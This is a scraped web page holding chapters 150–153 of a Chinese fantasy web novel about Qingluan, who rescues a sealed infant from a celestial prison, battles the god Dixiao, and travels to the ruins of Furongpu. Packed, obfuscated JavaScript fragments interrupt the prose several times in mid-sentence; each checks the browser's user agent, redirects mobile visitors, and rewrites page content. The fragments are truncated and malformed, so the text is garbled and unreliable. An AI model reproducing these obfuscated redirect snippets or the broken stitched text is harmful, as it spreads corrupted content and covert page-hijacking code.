0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237880|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”对于青鸾曾经受过帝骁什么恩惠,素娆并没有多问,她只是将怀中的婴儿从笼中举出,求青鸾将他带走。 青鸾将孩子抱入怀中,隔着牢笼注视着素娆:“你不随我一起走?” “我以燃烧寿元为代价设下结界,以凡人之躯承受大妖内丹反噬,早已时日无多。”不同于方才的激动,见到青鸾接过孩子,她似乎松了口气,语气也逐渐变得平静:“天君是无论如何也不会放过我的,他一定会集结四海八荒所有神君一同追杀我们,倘若我同你们一起出逃,反而是害了孩子。” 她温柔地注视着襁褓中的婴儿:“我会留在这里,如天君所愿在这里结束生命,唯有如此我的孩子才能平安。” 青鸾沉默了,心中百感交集,一时倒不知该说些什么。 “你带他走吧。”素娆重新布下结界,面露犹疑之色,似乎有话想对青鸾说,又不知该如何说出口,犹豫片刻还是张口道:“我……我还有一事相求。早在这孩子出生之前,他的父亲就在他身上设下了一个封印,这些年他也正是靠着这个封印才能保持生机,维持如今的模样。” “当初我们之所以决定将他封印,便是猜到了九重天知晓此事后一定不会善罢甘休。我们被天宫追杀不要紧,但是我们不希望这孩子自有记忆起便在逃亡路上,或是如现今这般被关押在狱中几百年。” 素娆言至于此,青鸾已能猜到她想要说些什么,果闻她继续道:“既然现在他有机会逃出这里,那么当初设在他身上的封印也可以解除了,但是解除封印一事非他父亲不可。” 青鸾望了眼位于结界中心的大妖内丹。 这孩子的父亲恐怕早已不在,那么设在他身上的封印如今又该如何解开? “在传闻中的上古万国时代有一洪荒法器,名为太虚锢灵鉴,此器主体为八角青铜异兽盘,有魂凝太阴和山解天封之用。青铜盘中心镶嵌有一枚昆仑冰魄玉,此玉可禁锢生者魂魄。” “他父亲曾剥离一缕魂魄封在了那冰魄玉中,你只消用灵力发动此玉,他曾经的生魂便会现世,届时便能为孩子解除封印。” 太虚锢灵鉴? 青鸾曾在一本志怪录中见过有关此物的记载,据说此物乃传闻中万国时期一妖族炼器师所造,炼制此器时她融合了玄冥真水,并将它在雷泽处淬炼了整整三百日。 此物威能巨大,可禁锢生魂,也可冻结亡魂,还可溶解神魔禁制。器成时曾经引发九幽阴兵过境,可见其威力之大。 因那太虚锢灵鉴实在太过强大,且用途过于诡异,万国之战结束后便被上古大能封印在了传说中的青铜树底。 可于今人而言,即便它有天大的神通,也不过是传说中的神器而已,便连它曾经现世的万国时代也只存在于传闻当中,实际并不可考。 青鸾蹙了蹙眉:“那太虚锢灵鉴现在何处?” 素娆道:“都广之野,芙蓉浦。” 150. 芙蓉浦 青鸾感到不可思议。 那传闻中的神器竟然当真存在,若是如此,传说中的万国混战时期岂非也真实存在过? 那是一个灵气充沛百族共存的时代,传闻那个时代的至强者可踏碎九霄撕裂虚空。 但正因强者众多,那也成为了一个混乱无比的时代。 数百个种族的强者创立了上万个国度,国与国之间杀伐纷争不断,不间断的杀戮使得这段时期成为了历史画卷里以无数尸骸头颅堆砌而成的远古传说。 素娆的声音将青鸾从纷扰思绪中拉回现实:“姑娘,待这孩子解除封印后,那太虚锢灵鉴你可自行取去,便当作我们对你的答谢之礼。” 说到这里她想起一件令她忧心已久的事,沉吟半晌后叹了口气:“太虚锢灵鉴乃妖族重宝,它的魂凝太阴之用甚至可令人起死回生。其实这件事本该交给骁儿去做,这个法器于他而言也有重用……” 素娆没有明说此物于帝骁而言有何重用,但青鸾还是从她的言语间揣测出来几分。 可令人起死回生,于帝骁也有重用,难道素娆所言之事与帝媱有关? 她心中一动,直接问道:“太虚锢灵鉴对帝骁有何重用?是否与在太华之战中险些魂飞魄散的帝媱有关?” 素娆似乎没有想到青鸾会问得如此直接,怔了一下道:“是的,阿媱那孩子在太华之战时便已断绝生机,但我听闻她被后神成渊带去了先神之地合虚,其实若她仙身保存完好,是有可能利用太虚锢灵鉴恢复生机的。” “这些年我被囚禁在龙渊之狱中,从没有听骁儿提起过任何人,唯有一两次听见他谈及阿媱,便知阿媱在他心目中一定有着非同一般的地位。” “我原想告知他太虚锢灵鉴的存在,让他去试试能否利用此器复活阿媱,可是……” 素娆不再说了,但青鸾心中明白,太虚锢灵鉴中封存着她怀中婴儿生父的一缕魂魄,且此物与解除孩子封印有着重大干系,偏偏帝骁对那夺去他母亲的大妖无比仇视,素娆又怎么敢将这么重要的东西交给帝骁。 短暂的沉默后,忽见素娆抬起头,忧心忡忡地望向出口的方向:“骁儿来了,你快带孩子离开。” 青鸾心中一惊,帝骁这么快就从沉睡中醒来了? 紧接着她开始庆幸,还好自己方才没有趁他陷入沉睡时尝试控他心魂,若是在施术时不小心将他惊醒,后果不堪设想。 她顺着素娆的目光望向出口方向:“若是帝骁已经来了,我此刻出去岂不是正好撞见他?” 素娆摇了摇头:“我在这龙渊之狱数百年,熟知此处上古之兽特性,它们畏惧骁儿的归墟,会在他到来时躲藏起来。此刻它们只是躁动不安,尚未隐藏身形,说明骁儿离此地还有一段距离。” 说着素娆将那大妖内丹取出,结界随之破碎:“你将这内丹带走,到了芙蓉浦后它会指引你寻到太虚锢灵鉴。” 青鸾将内丹收下:“可我将这内丹带走后,你的护身结界便无法支撑了。” 素娆苦笑了一下:“我原本想在结界中多捱一段时日,为你争取一些时间,但没想到骁儿这么快就会来此地寻我……任何障眼之术都是瞒不过他的。” 她注视着青鸾怀中的孩子,眼中有无奈,也有苦楚:“天君命他处决了我,我不知他是否会对我下手,但我知道他若是发现这孩子逃离了龙渊之狱,一定不会善罢甘休,你快带他走吧。” 青鸾点了点头,不再多言,抱着孩子转身离去。 素娆所言不虚,青鸾从龙渊之狱出来时并未见到帝骁,但没有想到竟然迎面碰上了巡逻至此的天兵。 按理说天兵几个月也不会来这里巡逻一次,偏偏今日就这样撞上了。 见到那队天兵的一瞬间青鸾便果断出手,将那为首的队长一击毙命。 若不速战速决将他们全部了结,她与怀中的这个孩子都将难以脱身。 天兵训练有素,反应已是极快,在见到青鸾时本已第一时间做出防御姿态,却没想到青鸾的速度更快,下手毫不留情,转眼间又将两人毙命。 剩下几人不敢轻举妄动,当即转身准备逃离此处向天君禀告龙渊之狱异动,青鸾见此情状拂袖挥出心火,心火化为细绳将那几人从空中全都拽了下来。 便在心火以他们的身体和灵力为燃料疯狂燃烧时,怀沙挥刀斩灭他们身上的火焰,紧接着刀刃一转,朝着青鸾面门袭来。 青鸾不想将动静闹得太大,因此只将心火释放出了不到一成的威力,解决这些天兵原本绰绰有余,未曾想半路杀出一个怀沙。 怀沙已至,帝骁一定就在附近,很快就能赶来。 青鸾在心里叹了口气。 她已经做好恶战的准备了。 青鸾指尖原本只有零星的心火,看起来似乎不具威胁,却在怀沙长刀袭来的瞬间暴涨。 火焰缠住刀刃的同时攀上怀沙的身体,燃烧发出的声音似是邪神低语,竟还能扰人心神。 怀沙顿时动弹不得,只能眼睁睁看着狰狞的火海吞噬自己的身体。 “退下,你不是她的对手。”帝骁在这时赶到,蕴含着灵力的一喝唤醒了神情已经变得呆滞的怀沙。 怀沙忍受着剧痛望向火焰中青鸾平静的脸,忽然觉得眼前这个女子无比陌生,也是在这时才意识到他与她之间的修为已是天差地别。 帝骁周遭笼罩着一层仙尘,这些散发着微光的仙尘为他暂时抵御住心火的攻击,他将怀沙从火海中捞出,望向青鸾的目光同样充满了讶异。 不过讶异之后紧接着便是了然,他注视着青鸾沉声道:“你想起来了?” 望见青鸾怀中的婴儿,他的目光中又多了一些愤怒。 “我早该想到,你既然拥有心火,那便能轻松出入龙渊之狱。”帝骁反应极快,立即猜到龙渊之狱发生了什么,侧首将令牌扔给怀沙:“你现在就去看一下龙渊之狱有何异况。” 怀沙接过令牌,领命进入龙渊之狱。 与此同时焕鸢夫人的族人也已赶到此处接应,青鸾将怀中的婴儿交给她们,低声嘱咐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243149|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一句:“先带他去都广之野芙蓉浦,我将此间事解决后会来与你们汇合。” 那前来接应的两人应当是双胞姐妹,有着一模一样的眉眼,似有些稚气未脱,行事却十分稳重。 一人接过青鸾怀中婴儿,另一人迅速在那孩子身上布下一道仙障。 她们在听到芙蓉浦三个字时目光一动,若有所思地对视一眼,却是什么也没说,应了声好便欲转身离去。 却被帝骁封住了去路。 归墟已不是断剑,不知何时被帝骁修补完好,此刻他祭出归墟,威力甚至胜过从前。 剑气犹似龙吟,震得人五脏六腑都狠狠往下一坠,单一道剑光便有撕裂虚空的威能,逼得那两个女子连连后退。 他的目光比阴寒剑气还要冰冷,“今天你们哪儿也去不了。” 语罢他一剑斩下,这一剑惊心动魄,便连九重天外的云海都被剑气撕裂,刺目的光裹挟着寒霜在周围炸开,朝那个两个女子和她们怀里的婴儿逼去。 青鸾瞬移至她们面前,指尖凝出的心火在这瞬间掀起了百丈高的风暴,于呼啸声中点燃了整片云层,生生扛住了帝骁的全力一击。 她转首对身后二人喝道:“快带他走!” 话音未落帝骁的第二击已经袭来,他的衣袍在风中猎猎作响,归墟剑鞘在他掌心旋转出一道道星痕,那星痕正与他剑尖点出的光芒互相辉映。 青鸾认出这是他自创的九霄剑法,是他从不失手的杀招之一。 他眼中杀气四溢,语气比凝于剑身之上的极寒之力还要冰冷:“我说了,他哪儿也去不了。” 云层深处裂开一道深渊,凛冽寒光犹如银河倒悬,裹着剑鸣倾泻而下,将青鸾释放出的心火全都冻结为冰晶碎屑,帝骁剑锋指处,九霄雷霆化作霜白色的游龙继续朝青鸾身后的二人袭去。 青鸾飞身而起,再次燃起心火,被归墟剑气封印住的心火之力蠢蠢欲动,片刻后冰晶骤然崩裂,火焰再次聚为一片火海,甚至连绵不绝地烧到了龙渊之狱。 她体内的心火似乎是遇强则强,即便次次都被帝骁压制也从不放弃,每次重新燃起都比前一次更为猛烈。 心火将他们周遭的云雾瞬间蒸发,化为滚烫岩浆,将帝骁挥出的霜龙牢牢擒住。 便在两人僵持不下之际,怀沙从龙渊之狱中奔出,望向帝骁时面露惊惧之色。 帝骁见到怀沙的脸色顿时沉下目光,心里升起不好的预感:“何事?” 怀沙深深地吸了口气:“禀神君,素娆夫人她……陨落了。” 他的声音不大,落在帝骁耳里却犹如旱地惊雷。 他突然觉得眼前的火光刺目得令人难以忍受,于是闭上双眼想要喘一口气,闭眼的一瞬间脑海里却浮现起幼时母亲牵着他的手穿过府中曲折回廊的场景。 仙尘和宫灯的微光都无法驱散九重天上漫无边际的长夜,但母亲温暖的目光可以。 素娆的身影逐渐远去,黑暗再次降临,在这瞬间他意识到,以后他再也没有母亲了。 151. 芙蓉浦 帝骁心神震动之际,体内灵力不稳,便连持剑的手都在微微颤抖。 青鸾身后那两名女子抓住机会抱着怀中婴儿飞身离开,与此同时青鸾抬手升起火墙,将自己与帝骁一同围在了火海之中。 这是一道以心火筑成的屏障,即便是天君亲至也难以破除,青鸾释放出精神游丝,在此时对帝骁施展了控魂术。 摄人心魄,控人神魂,没有比现在更好的时机。 在帝骁中术的瞬间,青鸾念诵口诀,深植在她体内的共生咒应声而解。 心脏上似乎有一道无形的枷锁就此解开,那枷锁虽然并非实物,却时常令青鸾感到无比沉重,此刻她终于可以畅快地呼吸空气。 也是在枷锁解开的刹那,她同时感受到了帝骁的情绪。 那些不属于她的情绪涌入她的心间,侵入她的脑海,在她的神识中掀起风浪。 这让她有了一个认识,原来催动共生咒时是可以感应到对方情绪的。 她心中骇然,顿时感到无比惊悚。 这意味着帝骁早就感受过她的诸般情绪,她对他心生怀疑时他是知晓的,她居于青要山中却时时心有不安他也是知情的,包括她回忆起帝骁对她的所作所为时心中生出的憎恶与恨意,他很有可能都是知道的。 她以为自己在他面前隐藏得很好,而他也从来不动声色。 却没有想到原来她的所有情绪都在他面前暴露无遗。 而此时此刻,帝骁的情绪也全部暴露在了她的面前。 她原以为帝骁一定会无比愤怒。 但没想到充斥在他心间的情绪纷纷扰扰,有痛苦,有震惊,甚至还有不舍,却没有一丝怒意。 青鸾怔住了。 帝骁在此时睁开眼,望向青鸾的目光中同样弥漫着复杂的情绪。 他对她说:“其实你一直都知道,我不会对你催动共生咒。” “是吗?”青鸾抬起头来与他对视:“当初生生剜走我半颗心脏的不是你吗?” 帝骁往后退了半步,他张了张口,却是什么也没有说。 青鸾踩着灼灼燃烧的心火凌空踏步,一步一步朝他走去:“你知道心脏被生生剜去一半是什么感觉吗?你知道每一次呼吸时都能嗅见自己心脏碎片的血腥气是什么感觉吗?” “你还记不记得当初为什么在我身上种下共生咒?现在却又跟我说你其实不会催动它?”虽然是在逼问帝骁,但青鸾的眼中却有泪光,在行至帝骁面前时,她骤然伸出手剜入了他的胸膛:“我再也不会把自己的命交在别人手里。” 心脏被攥住的一瞬间帝骁瞳孔微缩,他的手臂止不住地颤抖,手中剑尖垂落,似乎怎么也举不起来。 他心中清楚,青鸾这是要以牙还牙,让他也切身体会一下她昔年被生生剜走心脏的痛楚。 想到这里他嘴角扬起一抹哀凉的笑。 他甚至觉得这样也好,他可以承受她的怒火,也可以接受她的报复,他甚至期望青鸾将她曾经受过的痛苦十倍百倍奉还于他,唯有如此…… 他轻轻地吸了口气,口鼻中瞬间弥漫起浓重的血腥气,他抬起手,颤抖着握住青鸾的手腕:“你说过的……你说你永远不会……” 他的语声断断续续,想要对她说的话也迟迟没有说出口,鲜血浸湿了他的衣衫,向来高高在上的武罗神君此刻竟然显出一种破碎的可怜。 他以一种近乎祈求的姿态注视着她。 青鸾知道他想要说什么。 在碾碎他半颗心脏的同时,她往他的心间注入了一抹心火之力。 破碎的心脏在心火的滋养下缓缓修复,她让他感受到自己曾经的痛楚,却又让心火慢慢将这痛苦的痕迹抹去,当真是好生决绝。 她与他之间从此再无瓜葛。 青鸾将手抽出转身离开的瞬间帝骁摇摇晃晃向后倒去,火焰自他身侧散开,没有托举住他,而是任由他坠入无尽的虚空。 怀沙冲上前来接住他,在半空中与青鸾擦肩而过,流火在青鸾周遭旋转,尚未来得及熄灭,火光耀眼,触目却是森寒。 在天君的人赶来之前,她头也不回地离开了九重天。 摆脱了共生咒的束缚,她也就褪去了看不见的枷锁,如今的她便连呼吸都变得轻快,并且惊觉体内灵力流转加速,她的心火也变得比从前更为强大。 比以往任何时候都要强大的力量,仿佛是对她奋力冲破禁锢的嘉奖。 离开九重天后她没有在路上耽搁,立即往都广之野赶去。 今日她在龙渊之狱闹出的动静太大,恐怕很快整个四海八荒都会响彻她的名号。届时人人都会知晓她的姓名和长相——不过是在九重天宫发布的通缉令上。 为了避免麻烦,她要在这一日来临之前把该做的事情都做完。 离都广之野越近,便越感受到灵气的稀薄,这里是天宫关押罪神及其后裔之地,为防他们逃离此地,九重天特意设下了屏蔽灵气的阵法。 在这个地方,即便你有上天入地之能,也根本无从施展,无论是谁想要离开此处回到天界,都需要通过建木才行。 便在青鸾苦思冥想该如何在无法施展灵力的情况下突破天兵包围进入都广之野时,小蓝打了个哈欠,从乾坤袋中现身。 自从上次在斗兽场中苏醒后,他便回到乾坤袋再次陷入沉睡,又睡了好一段时间才缓过神来,能够再次化为小兽形态。 如今青鸾已经知晓小蓝的身份并不一般,也已知道他就是那个施展时空回溯之法让自己重活一遍的人,再望向蹲在自己肩头的小兽时,她的心情便不一样了。 小蓝蹲在她的肩头望她,原本想像从前那般故作娇嗔地嘤一声,却见到青鸾垂首望向他的目光复杂。 于是瞬间意识到青鸾恐怕是知道了什么。 一定是路之遥跟她讲的,小蓝恨得咬牙切齿。 他一直等待着青鸾恢复往世记忆的那一天,到那时他便可以将自己这些年的守候娓娓道来。 但是……但是路之遥那厮竟然就这样把他的身份告诉了她? 那还有什么惊喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249487|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 青鸾望了他好一会儿,忍不住问道:“小蓝,你牙疼么?” 见到小蓝错愕的眼神,她又道:“其实你不叫小蓝,你应该有自己的名字吧?” 她有些不好意思:“我叫你小蓝叫了这么久,你真正的名字叫什么?” 小蓝沉默地盯着青鸾看了半天,然后似乎叹了口气,转过身跃回了乾坤袋。 青鸾疑惑地嗯了一声,下一秒便见到小蓝再次出现,不过这一次是以魂魄灵体的形态出现在青鸾眼前。 他的灵体轮廓泛着青玉髓般温润的光,像是把整片星夜都揉碎了嵌进魂魄里。 正是青鸾记忆里那个不惜魂飞魄散也要为她挡下帝骁攻击,并且质问她分明拥有力量为何却不敢反抗,为何不肯离开九重天的人。 没有想到他竟然一直以小蓝的身份守在她的身边,直到现在她才有机会细细打量他。 其实青鸾一直都觉得小蓝作为一只小兽是极其漂亮的,尤其那一双湿漉漉的眼睛简直我见犹怜,如今见到他灵体化形,更觉得他好看到不似尘世中人。 他似乎有些不敢与青鸾对视,微微侧首避开她的目光,狭长眼尾缀着些细碎光粒,像是有人用沾了星屑的笔尖勾出两道惊心动魄的弧度。 青鸾看呆了。 他整个人都在发光。 便连垂至脚踝的银发间都游走着细小的光絮,发梢末端融化成星尘消散又重组。 风在两人之间穿过时,那些笼罩在他灵体四周的月白色光圈会泛起涟漪,青蓝衣袂化作万千流萤四散,又在瞬息间聚拢成颀长身影。 许是青鸾看得他不好意思了,即便只是灵体的形态,也能看出他有些脸红,不自然地咳了一声后他开口道:“你不记得我了,我、我真正的名字也是从前你给我取的。” 青鸾抬手指了指自己:“我给你取的?” “我们到底什么时候认识的?认识多久了?”她觉得自己的脑袋要炸了,她到底忘记了多少事情? 或者说,她的真实身份到底是谁? “从前我以为我是长在青要山中的一只小妖,后来才知道我不是,我的真正身份是昆仑山凰女九聆。”青鸾注视着小蓝,认真地道:“但我确信在我作为凰女九聆的那段时日里并没有关于你的记忆,除非我身为凰女的记忆也是残缺的,或者凰女也并非我的真实身份。” 小蓝摇了摇头:“你只是被帝骁剜去心脏后才丧失了从前的记忆,你身为凰女的记忆是完整的,凰女也是你此世的真实身份。” “此世?”青鸾捕捉到关键信息,她突然想起路之遥曾经告诉过她,小蓝有回溯时空之能,于是瞬间了悟:“你我相识是在此世之前?你……难道是从前世追随我而来?” 小蓝神情微动,他终于转过头正视青鸾,睫羽轻轻一颤:“我遇见你的时候,早在你入此轮回之境前。” 青鸾听得呼吸一滞,心跳随之加快。 早在轮回之前,她与他便已相识。 也就是说曾经的她可以不入轮回? 152. 芙蓉浦 “人们不知道的是,每一世的轮回其实都是同时存在,你与你的前一世,此世结束后的下一世,都是同时存在的。”小蓝接下来说的话更是打破了青鸾的认知:“这便是所谓轮回之境,所有人每一世的轮回,大至无垠宇宙小至颗粒尘埃都被盛在这同一个轮回之境里。” 他抬眼与青鸾对视,睫羽间有光尘滑落:“此事在现在的你听来也许会十分骇然,但这样一个令人骇然的轮回之境其实不过是一个人的法器而已。不入轮回之境,自然便可超脱于轮回之外。“ “而你……是自愿踏入轮回之境的。” 青鸾听得头痛欲裂。 倒不是因为小蓝所说的轮回之境有多么令她骇然,而是因为他对真相的每一句揭露都是在强制唤醒她入轮回之境时被洗去的记忆。 小蓝不忍地注视着她。 九尾狐族身为虚空中的守望者,对那轮回之境有着天然的克制,所以他并不会被封印记忆,即便进入轮回之境也可以不入轮回。 因此在随她一起进入轮回之境前,她曾经嘱咐过他,必要时催动言灵唤醒她的部分记忆。 若是对自己为何进入轮回一无所知,又该如何完成她想要在轮回之境中所做的事?强制恢复记忆是必经的阶段,他就是她在进入轮回之境前选中的护道人。 他曾经答应过她,那就一定要做到。 虽然心中不忍,他还是继续道:“你不需要记起太多,现在的你还承受不了。不要去回忆你为何自愿踏入轮回之境,也不要去想自己的真实身份,到底发生了什么,那些……都太遥远了,你只需要记住自己在轮回之境中要做的事情。” 青鸾强忍着持续不断的剧痛,咬牙问他:“我要做的事情……是什么……” 小蓝抬起手,在他抬手的一瞬间空中现出九尾图腾,图腾浸在幽蓝色的灵焰中,光芒随着青鸾的呼吸明灭。 青鸾顿时觉得好受了许多,虽然脑袋仍旧像被人用巨斧劈开一般疼痛,但她至少能够顺畅地呼吸了。 小蓝立于她的面前,水色广袖被无形气流托起,柔软而又缥缈,半透明指尖下垂落着似乎是冰绡裁就的衣带,每一道褶皱都流转着沧海月明般的辉芒。他在这光芒中轻轻道:“每一世死气都与你如影随形,它跟随着你,会让你所在的每一个小世界崩塌。” “在无数个宇宙中有无数个小世界,它们诞生了又消失,爆炸了又重组,原本当属自然规律。但死气的介入不然,它会让所在的世界彻彻底底消失,它的力量会让所有被创造之物真正地灭亡。” “你要做的是阻止它,这个世界不能被毁灭,你所在的每一世都不能被毁灭。” “它们必须同时存在,唯有如此……”说到这里他的声音戛然而止,似乎是意识到自己说得太多了,于是停顿了下将话锋一转:“你既然已经去过青丘,便该知道帝宣在那里布下的生阵到底镇压着何物。” 青鸾恍然大悟:“他镇压的不是魔族始祖之息,而是能够彻底毁灭这个小世界的死气。” 怪不得在她不断追问时始祖之息会表现得万分惶恐,还说什么让她不要把小命丢在那里。 原来这便是她不曾得知的真相。 她原本想问小蓝为何死气始终与她如影随形,为何她所在的每一世都必须同时存在,倘若不能后果又会如何。 可是还没来得及开口,仅仅是想到这些问题,便似乎触动了不知何人在她脑海中布下的数道禁制。 她的脑中瞬间响起无数个声音。 有低语的诱惑,这声音低沉而富有磁性,仿佛来自某个神秘的存在,不断诱惑她去追求某种禁忌。 也有愤怒的咆哮,她听见有人怒斥她是背叛者,这声音淬满了仇恨,它的力量甚至可以刺穿灵魂。 还有温柔的挽留,她还听见一道充满哀伤的声音,那声音从遥不可及的地方传来,声声呼唤着她。 …… 所有的声音伴随着她曾经在东海地宫中听到的神秘吟唱声,如潮水般汹涌而来,青鸾不禁呕出一口鲜血,然后在无意识间催动心火,自保似地让它笼罩在自己身侧。 小蓝见她又露出无比痛苦的神情,当即双手结印,半透明手掌间泛起朦胧光晕,光晕中缓缓浮现出九尾残影,每道虚影都缠绕着不同色泽的灵火。 那些灵火竟似启了灵智,能够与围绕在青鸾身侧的心火进行交流,片刻后守护在青鸾四周的心火逐渐散去,小蓝这才得以靠近青鸾。 他将手覆在她的额间,释放出的磅礴灵力缓解了她的痛苦。 碎玉般的光尘沿着他虚幻的衣襟簌簌而落,在落入半空的刹那绽开半透明的狐尾花,每一片花瓣都倒映着他眼角将散未散的光芒。 花瓣随风而起,将青鸾的身形遮蔽,她仿佛也变为了魂体的形态,在小蓝的牵引下穿过结界,就这样轻而易举进入了都广之野。 青鸾意识到自己不能再继续思索下去,设在她脑海中的禁制并非如今的她能够解开,于是也调动灵力闭目调息,片刻之后睁开眼,这才发现她已经进入了流放罪神之地。 “是你带我进来的?”她抬头望向小蓝。 小蓝点了点头,他今日灵力损耗过大,灵体略有不稳,苍白的皮肤下隐隐显现出极淡的青色纹路。那些纹路如同蜿蜒在冰层下的古老咒文一般狰狞,因此颜色虽淡,但是看起来触目惊心。 “这些结界还难不倒我。”他的声音也有些虚弱:“我灵力耗竭,已快支撑不住灵体,接下来我说的话你一定要记住,这与最后你同死气抗衡有着莫大的关系。” “你之所以会来到都广之野,是命运的指引,而这命运之线乃你自己当初亲手所系。” “尽管你以身入局早已遗忘一切,但命运之线一直在引导你去完成注定要做的事情。” “前世的你乃洪荒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253329|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万国时期圣灵族圣女,你在万国之战中剥离了心火之源,将它封印在族地保护族人。因此今生的你所拥有的心火之力是不完整的,倘若心火之力不全,你根本无法与死气抗衡。” “你知自己有朝一日一定会亲自来取,所以圣灵族族人世世代代履行着承诺,为你守护心火之源。” “心火之源的封印之地就在都广之野芙蓉浦,它原本是圣灵族在这世上的祭坛之一,祭坛之上有五色封印,分别对应金灵、木灵、水灵、火灵、土灵五种元素,因此祭坛分别由五名觉醒了其中一种元素感知的族人守护。” “想要解除封印取出心火之源只有两个办法,其一是五人齐聚释放五灵解开封印,其二便是由天生觉醒了五种元素之力的圣女亲至祭坛解除封印。” “问题就在于今生的你已经不是圣灵族圣女,并不具备五种元素之力,凭你一人无法解开封印,若想取得心火之源,便只有依靠守护祭坛的圣灵族族人。” 说到这里小蓝已是虚弱至极,他不断地透支着自己的灵力,强撑着继续说下去。 “觉醒了木灵的人拥有生生不息之力,她在几百年前就被成渊擒去,囚禁在了登葆山的缚魂树中。” “他是想要利用缚魂树炼化木灵的生机,用以复活帝媱。可木灵一旦被炼化,那位觉醒了木灵的族人一定会魂飞魄散。” “亿万年光阴流逝,存活于世的圣灵族人本就不多,觉醒了木灵的人更是只她一个,若她魂飞魄散,世上便再无人能够解除祭坛封印,那心火之源也就无法取出。” 在小蓝说话期间,青鸾一直尝试着为他输送灵力,可惜效果甚微,他的肤色仍旧越来越苍白,直至变为透明,整个魂体逐渐如烟消散。 “她在缚魂树中被囚禁得太久,已经快要支撑不住,你速去芙蓉浦寻找其他族人,他们会告知你该如何去登葆山寻见缚魂树。” 最后他对她道:“迈过那道青铜巨门你就真正进入了都广之野,你与此地渊源颇深,这里还残存着你的前世之忆,且此处洪荒之息太过浓烈,你的心火可能会因此躁动。不过不要怕,踏入轮回之境前的你,堕入轮回之中每一世的你,无论是否苏醒了记忆,她们都在支持着你取回属于自己的力量,你能做到的。” 小蓝的声音同他的灵体一起消散不见,青鸾连忙打开乾坤袋,见到他以小兽的形态再次陷入沉睡,这才松了一口气。 还好只是陷入沉睡,灵力耗尽并未真正伤到他的魂魄,等沉睡一段时间恢复力量之后就能醒来。 青鸾收了乾坤袋举目四望,开始观察自己踏足的这片土地。 此时已近黄昏,残阳如血笼罩大地,为她眼前的青铜巨门镀上了一层金红。 这座青铜巨门仿佛拔地而起,十分宏伟壮观,不过门上的蟠龙纹爬满青苔,门侧的玉阶也大多碎为了齑粉,这一切都显示出此地曾经的繁华,却又昭示出它如今的落寞。 153. 芙蓉浦 青鸾顺着玉阶朝门后走去,恍惚间似乎能听见风穿过高台楼阙时发出的呜咽,她抬头去看,发现古老的建筑早已坍塌为断壁残垣,唯有一处檐角仍旧悬挂着褪色宫灯。 宫灯之侧的青铜铃缠满了蛛丝,在暮色里轻轻摇晃着,那声音仿佛是从远古传来,轻而悠扬,却激得青鸾心跳加速,连呼吸也跟着变快。 果如小蓝所言,她感受到体内心火正在不受控制地变得躁动。 青鸾一边克制着体内变得无比暴躁的心火,一边抬步继续向前走去。 这才发现原来那扇爬满青苔的青铜巨门背后并非只有一座废弃的建筑,门后简直就是一个庞大的城池遗址。 城中早已没有人烟,断壁残垣间唯有尘埃游走。 连风都带着荒芜的气息,这是一个早已失落在历史长河中的世界。 青鸾屏息凝神,小心翼翼穿过这座废弃的城池。 城中建筑大多以青铜制成,并且其上还雕刻有神秘符文,想必正因如此它们才能历经亿万年光阴而留存至今。 脚下砖石松动,青鸾垂首去看,发现每一块青铜砖上都隐隐显现出暗绿色纹路,仔细打量方才惊觉那些纹路竟然是凝固了的龙血。 漫长光阴将这些龙血痕迹蚀为了蜿蜒河流,一直铺到了青鸾视线的尽头,仰头望去,遗址尽处留有一根巨大的盘龙柱,那便是此处最高之物了。 青鸾足尖点地,朝着遗址尽头飞去。 自天而降的玄铁锁链穿透了盘踞于柱上的龙形浮雕,将它牢牢地钉在柱上,龙雕分明栩栩如生,仿佛下一秒便能一飞冲天,但龙爪间裂出的蛛网纹却彰显出它早已成为一具被时光蛀空的骸骨。 青鸾被那浮雕龙睛处镶嵌着的暗红色血玉吸引,不自觉地朝它行去。 她抬手触碰早已变得斑驳的龙睛,下一秒感到指腹冰凉,垂首去看发现指尖沾到了一滴金红色的液体。 那是尚未凝固的龙血。 它自血玉滴下,从龙雕坠落,顺着石缝蜿蜒成河,浸透了脚下寸草不生的赤色焦土。 青鸾原以为此处的土地天然便是赤色。 却没想到它竟然是被万年亦未干涸的龙血染红。 心火在感应到龙血的一刹那变得格外兴奋,青鸾险些压制不住。 她恍惚听见沉闷的号角声从云端传来,瞬间响彻整片大地,异兽的嘶鸣声和人们的厮杀声交织在一起,仿佛将她拽入了亿万年前的古神战场。 